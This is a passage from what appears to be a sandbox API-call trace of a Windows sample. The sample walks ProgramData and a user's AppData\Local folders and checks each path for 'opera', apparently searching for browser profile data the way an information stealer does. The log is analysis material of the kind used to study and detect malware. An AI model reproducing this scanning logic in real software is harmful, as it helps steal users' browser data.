out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.497] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.497] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.497] lstrlenA (lpString="Application Data") returned 16 [0068.497] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x646a98 [0068.497] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.497] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Application Data" | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0068.497] LocalFree (hMem=0x6415b8) returned 0x0 [0068.497] StrStrIA (lpFirst="C:\\ProgramData\\Application Data", lpSrch="opera") returned 0x0 [0068.497] LocalFree (hMem=0x646a98) returned 0x0 [0068.497] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.497] lstrcmpiA (lpString1=".", lpString2="Desktop") returned -1 [0068.497] lstrcmpiA (lpString1="..", lpString2="Desktop") returned -1 [0068.497] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.497] lstrlenA (lpString="\\") returned 1 [0068.497] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.497] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.497] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.497] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.497] lstrlenA (lpString="Desktop") returned 7 [0068.497] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x646a98 [0068.497] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.497] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0068.497] LocalFree (hMem=0x6415b8) returned 0x0 [0068.497] StrStrIA (lpFirst="C:\\ProgramData\\Desktop", lpSrch="opera") returned 0x0 [0068.497] LocalFree (hMem=0x646a98) returned 0x0 [0068.497] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.497] lstrcmpiA (lpString1=".", lpString2="Documents") returned -1 [0068.497] lstrcmpiA (lpString1="..", lpString2="Documents") returned -1 [0068.497] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.497] lstrlenA (lpString="\\") returned 1 [0068.497] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.497] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.497] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.498] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.498] lstrlenA (lpString="Documents") returned 9 [0068.498] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x646a98 [0068.498] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.498] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0068.498] LocalFree (hMem=0x6415b8) returned 0x0 [0068.498] StrStrIA (lpFirst="C:\\ProgramData\\Documents", lpSrch="opera") returned 0x0 [0068.498] LocalFree (hMem=0x646a98) returned 0x0 [0068.498] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.498] lstrcmpiA (lpString1=".", lpString2="Favorites") returned -1 [0068.498] lstrcmpiA (lpString1="..", lpString2="Favorites") returned -1 [0068.498] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.498] lstrlenA (lpString="\\") returned 1 [0068.498] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.498] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.498] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.498] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.498] lstrlenA (lpString="Favorites") returned 9 [0068.498] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x646a98 [0068.498] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.498] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Favorites" | out: lpString1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0068.498] LocalFree (hMem=0x6415b8) returned 0x0 [0068.498] StrStrIA (lpFirst="C:\\ProgramData\\Favorites", lpSrch="opera") returned 0x0 [0068.498] LocalFree (hMem=0x646a98) returned 0x0 [0068.498] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.498] lstrcmpiA (lpString1=".", lpString2="Microsoft") returned -1 [0068.498] lstrcmpiA (lpString1="..", lpString2="Microsoft") returned -1 [0068.498] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.498] lstrlenA (lpString="\\") returned 1 [0068.498] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.498] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.498] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.498] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.498] lstrlenA (lpString="Microsoft") returned 9 [0068.498] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x646a98 [0068.498] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.498] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0068.499] LocalFree (hMem=0x6415b8) returned 0x0 [0068.499] StrStrIA (lpFirst="C:\\ProgramData\\Microsoft", lpSrch="opera") returned 0x0 [0068.499] LocalFree (hMem=0x646a98) returned 0x0 [0068.499] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.499] lstrcmpiA (lpString1=".", lpString2="Microsoft Help") returned -1 [0068.499] lstrcmpiA (lpString1="..", lpString2="Microsoft Help") returned -1 [0068.499] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.499] lstrlenA (lpString="\\") returned 1 [0068.499] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.499] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.499] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.499] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.499] lstrlenA (lpString="Microsoft Help") returned 14 [0068.499] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x646a98 [0068.499] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.499] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Microsoft Help" | out: lpString1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0068.499] LocalFree (hMem=0x6415b8) returned 0x0 [0068.499] StrStrIA (lpFirst="C:\\ProgramData\\Microsoft Help", lpSrch="opera") returned 0x0 [0068.499] LocalFree (hMem=0x646a98) returned 0x0 [0068.499] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.499] lstrcmpiA (lpString1=".", lpString2="Mozilla") returned -1 [0068.499] lstrcmpiA (lpString1="..", lpString2="Mozilla") returned -1 [0068.499] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.499] lstrlenA (lpString="\\") returned 1 [0068.499] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.499] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.499] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.499] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.499] lstrlenA (lpString="Mozilla") returned 7 [0068.499] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x646a98 [0068.499] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.499] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Mozilla" | out: lpString1="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0068.499] LocalFree (hMem=0x6415b8) returned 0x0 [0068.499] StrStrIA (lpFirst="C:\\ProgramData\\Mozilla", lpSrch="opera") returned 0x0 [0068.499] LocalFree (hMem=0x646a98) returned 0x0 [0068.499] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.499] lstrcmpiA (lpString1=".", lpString2="Oracle") returned -1 [0068.499] lstrcmpiA (lpString1="..", lpString2="Oracle") returned -1 [0068.500] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.500] lstrlenA (lpString="\\") returned 1 [0068.500] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.500] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.500] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.500] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.500] lstrlenA (lpString="Oracle") returned 6 [0068.500] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x646a98 [0068.500] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.500] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Oracle" | out: lpString1="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0068.500] LocalFree (hMem=0x6415b8) returned 0x0 [0068.500] StrStrIA (lpFirst="C:\\ProgramData\\Oracle", lpSrch="opera") returned 0x0 [0068.500] LocalFree (hMem=0x646a98) returned 0x0 [0068.500] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.500] lstrcmpiA (lpString1=".", lpString2="Package Cache") returned -1 [0068.500] lstrcmpiA (lpString1="..", lpString2="Package Cache") returned -1 [0068.500] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.500] lstrlenA (lpString="\\") returned 1 [0068.500] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.500] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.500] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.500] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.500] lstrlenA (lpString="Package Cache") returned 13 [0068.500] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x646a98 [0068.500] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.500] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Package Cache" | out: lpString1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0068.500] LocalFree (hMem=0x6415b8) returned 0x0 [0068.500] StrStrIA (lpFirst="C:\\ProgramData\\Package Cache", lpSrch="opera") returned 0x0 [0068.500] LocalFree (hMem=0x646a98) returned 0x0 [0068.500] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.500] lstrcmpiA (lpString1=".", lpString2="Start Menu") returned -1 [0068.500] lstrcmpiA (lpString1="..", lpString2="Start Menu") returned -1 [0068.500] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.500] lstrlenA (lpString="\\") returned 1 [0068.500] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.500] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.500] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.500] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.501] lstrlenA (lpString="Start Menu") returned 10 [0068.501] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x646a98 [0068.501] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.501] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Start Menu" | out: lpString1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0068.501] LocalFree (hMem=0x6415b8) returned 0x0 [0068.501] StrStrIA (lpFirst="C:\\ProgramData\\Start Menu", lpSrch="opera") returned 0x0 [0068.501] LocalFree (hMem=0x646a98) returned 0x0 [0068.501] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.501] lstrcmpiA (lpString1=".", lpString2="Sun") returned -1 [0068.501] lstrcmpiA (lpString1="..", lpString2="Sun") returned -1 [0068.501] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.501] lstrlenA (lpString="\\") returned 1 [0068.501] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.501] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.501] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.501] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.501] lstrlenA (lpString="Sun") returned 3 [0068.501] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x646a98 [0068.501] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.501] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Sun" | out: lpString1="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0068.501] LocalFree (hMem=0x6415b8) returned 0x0 [0068.501] StrStrIA (lpFirst="C:\\ProgramData\\Sun", lpSrch="opera") returned 0x0 [0068.501] LocalFree (hMem=0x646a98) returned 0x0 [0068.501] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.501] lstrcmpiA (lpString1=".", lpString2="Templates") returned -1 [0068.501] lstrcmpiA (lpString1="..", lpString2="Templates") returned -1 [0068.501] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.501] lstrlenA (lpString="\\") returned 1 [0068.501] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.501] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.501] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.501] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.501] lstrlenA (lpString="Templates") returned 9 [0068.501] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x646a98 [0068.501] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.501] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Templates" | out: lpString1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0068.501] LocalFree (hMem=0x6415b8) returned 0x0 [0068.502] StrStrIA (lpFirst="C:\\ProgramData\\Templates", lpSrch="opera") returned 0x0 [0068.502] LocalFree (hMem=0x646a98) returned 0x0 [0068.502] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 0 [0068.502] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0068.502] LocalFree (hMem=0x641518) returned 0x0 [0068.502] LocalFree (hMem=0x626a88) returned 0x0 [0068.502] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.502] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.502] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.502] lstrlenA (lpString="\\*.*") returned 4 [0068.502] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0068.502] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.502] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\*.*" [0068.502] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\*.*", lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 0x6426a8 [0068.502] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.502] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.502] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.502] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.502] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.502] lstrcmpiA (lpString1=".", lpString2="Adobe") returned -1 [0068.502] lstrcmpiA (lpString1="..", lpString2="Adobe") returned -1 [0068.502] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.502] lstrlenA (lpString="\\") returned 1 [0068.502] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.502] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.502] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.502] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.503] lstrlenA (lpString="Adobe") returned 5 [0068.503] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0068.503] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Adobe" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Adobe") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Adobe" [0068.503] LocalFree (hMem=0x641518) returned 0x0 [0068.503] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Adobe", lpSrch="opera") returned 0x0 [0068.503] LocalFree (hMem=0x6293a8) returned 0x0 [0068.503] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.503] lstrcmpiA (lpString1=".", lpString2="Application Data") returned -1 [0068.503] lstrcmpiA (lpString1="..", lpString2="Application Data") returned -1 [0068.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.503] lstrlenA (lpString="\\") returned 1 [0068.503] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.503] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.503] lstrlenA (lpString="Application Data") returned 16 [0068.503] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x6415c0 [0068.503] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Application Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Application Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Application Data" [0068.503] LocalFree (hMem=0x641518) returned 0x0 [0068.503] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Application Data", lpSrch="opera") returned 0x0 [0068.503] LocalFree (hMem=0x6415c0) returned 0x0 [0068.503] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.503] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.503] lstrcmpiA (lpString1=".", lpString2="Google") returned -1 [0068.503] lstrcmpiA (lpString1="..", lpString2="Google") returned -1 [0068.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.503] lstrlenA (lpString="\\") returned 1 [0068.503] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.503] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.503] lstrlenA (lpString="Google") returned 6 [0068.503] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6293a8 [0068.503] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Google" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google" [0068.504] LocalFree (hMem=0x641518) returned 0x0 [0068.504] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Google", lpSrch="opera") returned 0x0 [0068.504] LocalFree (hMem=0x6293a8) returned 0x0 [0068.504] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.504] lstrcmpiA (lpString1=".", lpString2="History") returned -1 [0068.504] lstrcmpiA (lpString1="..", lpString2="History") returned -1 [0068.504] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.504] lstrlenA (lpString="\\") returned 1 [0068.504] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.504] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.504] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.504] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.504] lstrlenA (lpString="History") returned 7 [0068.504] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0068.504] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.504] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="History" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\History") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\History" [0068.504] LocalFree (hMem=0x641518) returned 0x0 [0068.504] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\History", lpSrch="opera") returned 0x0 [0068.504] LocalFree (hMem=0x6293a8) returned 0x0 [0068.504] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.504] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.504] lstrcmpiA (lpString1=".", lpString2="Microsoft") returned -1 [0068.504] lstrcmpiA (lpString1="..", lpString2="Microsoft") returned -1 [0068.504] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.504] lstrlenA (lpString="\\") returned 1 [0068.504] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.504] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.504] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.504] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.504] lstrlenA (lpString="Microsoft") returned 9 [0068.504] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6415c0 [0068.504] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.504] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Microsoft") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Microsoft" [0068.504] LocalFree (hMem=0x641518) returned 0x0 [0068.504] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Microsoft", lpSrch="opera") returned 0x0 [0068.504] LocalFree (hMem=0x6415c0) returned 0x0 [0068.504] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.504] lstrcmpiA 